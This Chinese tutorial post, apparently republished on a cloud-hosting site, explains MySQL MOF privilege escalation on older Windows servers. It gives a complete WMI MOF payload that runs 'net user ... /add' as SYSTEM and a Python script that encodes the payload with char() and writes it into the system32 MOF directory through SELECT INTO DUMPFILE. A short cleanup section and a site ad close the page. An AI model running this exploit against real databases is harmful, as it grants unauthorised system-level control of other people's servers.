无意中看到有关mysql的这种提权方式,趁着有空余时间便研究了起来,发现网上有挺多地方写的不够详细的,研究的时候也卡壳了一段时间。
利用前提:
操作系统为windows
操作系统版本不宜太高,2008测试不通过,2003可(因为需要访问到system32中目录)或说mysql启动身份具有权限去访问和写入c:/windows/system32/mof目录
数据库为mysql且知道mysql登录账号密码和允许外连(或存在sql注入或webshell中操作,未实践)
先简单介绍一下原理(摘自网上和个人实践后得出)
放置在c:/windows/system32/mof目录下的nullevt.mof文件每个五秒钟会被自动执行并且消失,如果后续没有创建新的该文件,那么每五秒会循环执行之前的nullevt.mof中内容,那么只需要将恶意代码写入该文件中即可。
网上已公开nullevt.mof中的利用代码
#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user xxx xxx /add\”)“;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
常规利用过程步骤如下:
上传该文件到服务器上任意位置,名字任意
通过mysql语句 select load_file(上传的文件路径) into dumpfile 'c:/windows/system32/mof/nullevt.mof'
即可,如果成功上传,经过一段时间后,里面嵌入的代码会被执行
个人觉得要上传文件显得过于麻烦,能不能直接select 'xxxxx' into,经过尝试,要将该内容进行转码后再查询即可,提供部分py代码作为演示
使用mysql中char函数解决
payload = r'''
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user xxxx xxx /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
'''
ascii_payload = ''
for each_chr in payload:
ascii_payload += str(ord(each_chr)) + ','
ascii_payload = ascii_payload[:-1]
cur = conn.cursor()
sql = "select char(%s) into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'" % ascii_payload
cur.execute(sql)
由于mof是由system执行,所以权限满足创建用户、添加管理员等操作,即可完成提权过程。
如果服务器发现被使用mof提权,该如何解决循环创建用户?
打开cmd使用以下命令
net stop winmgmt
删除文件夹下内容 c:/windows/system32/wbem/repository
net start winmgmt
即可
错误之处,敬请指正
亿速云「云数据库 MySQL」免部署即开即用,比自行安装部署数据库高出1倍以上的性能,双节点冗余防止单节点故障,数据自动定期备份随时恢复。点击查看>>
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。